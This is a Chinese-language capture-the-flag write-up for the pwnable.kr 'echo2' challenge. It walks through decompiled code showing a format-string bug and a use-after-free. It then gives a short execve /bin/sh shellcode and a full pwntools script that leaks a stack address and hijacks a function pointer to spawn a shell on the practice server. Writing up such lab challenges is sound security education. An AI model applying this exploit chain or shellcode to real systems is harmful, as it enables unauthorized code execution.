pwnable.kr echo2 writeup

题目大概逻辑是登录后输入一个用户名,然后可选的echo有两种,一种名为FSB,一种名为UAF,那么很容易想到这道题目考察的是格式化字符串和UAF了。

用ida分析,先看echo2函数,很简单的格式化字符串,没有任何过滤

__int64 echo2()
{
  char format; // [sp+0h] [bp-20h]@1

  (*((void (__fastcall **)(_QWORD))o + 3))(o);
  get_input(&format, 32LL);
  printf(&format);
  (*((void (__fastcall **)(_QWORD))o + 4))(o);
  return 0LL;
}

不过一个格式化字符串能做到的事情有限,所以继续往下看,注意到在退出时调用了cleanup对变量进行了free,但是这里退出并不是真的退出,如果用户在之后输入n,则继续运行,所以这里存在一个uaf。

__int64 echo3()
{
  char *s; // ST08_8@1

  (*((void (__fastcall **)(_QWORD))o + 3))(o);
  s = (char *)malloc(0x20uLL);
  get_input(s, 32LL);
  puts(s);
  free(s);
  (*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
  return 0LL;
}

所以现在思路就清晰了,把shellcode写入用户名中,利用格式化字符串读取地址然后利用UAF执行之前的shellcode,获得shell。

那么接下来要做的是完成利用脚本。

从代码中看到,读取的用户名长度限制为24,所以需要找一个较短的shellcode,在exploitdb上容易找到。

\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05

然后要做的是获取用户名的地址,在格式化字符串的时候输入%10$p即可,但是这里的地址和用户名的地址还有0x20的偏移,在之后要减去。

最后的payload如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p = remote("pwnable.kr", 9011)
p.recvuntil(":")

shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f"
shellcode += "\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

p.sendline(shellcode)

p.recvuntil(">")
p.sendline('2')
p.sendline("%10$p")
p.recvline()

# leak addr
addr = int(p.recvline(), 16) - 0x20

# free
p.sendline('4')
p.sendline('n')
p.sendline('3')
p.sendline('A' * 24 + p64(addr))

p.interactive()

你可能感兴趣的:(pwnable.kr echo2 writeup)